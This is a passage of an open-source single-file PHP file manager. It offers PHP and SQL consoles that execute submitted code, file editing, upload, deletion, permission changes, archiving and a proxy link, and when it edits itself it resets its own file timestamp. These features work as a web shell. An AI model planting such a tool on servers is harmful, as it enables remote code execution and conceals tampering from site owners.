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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
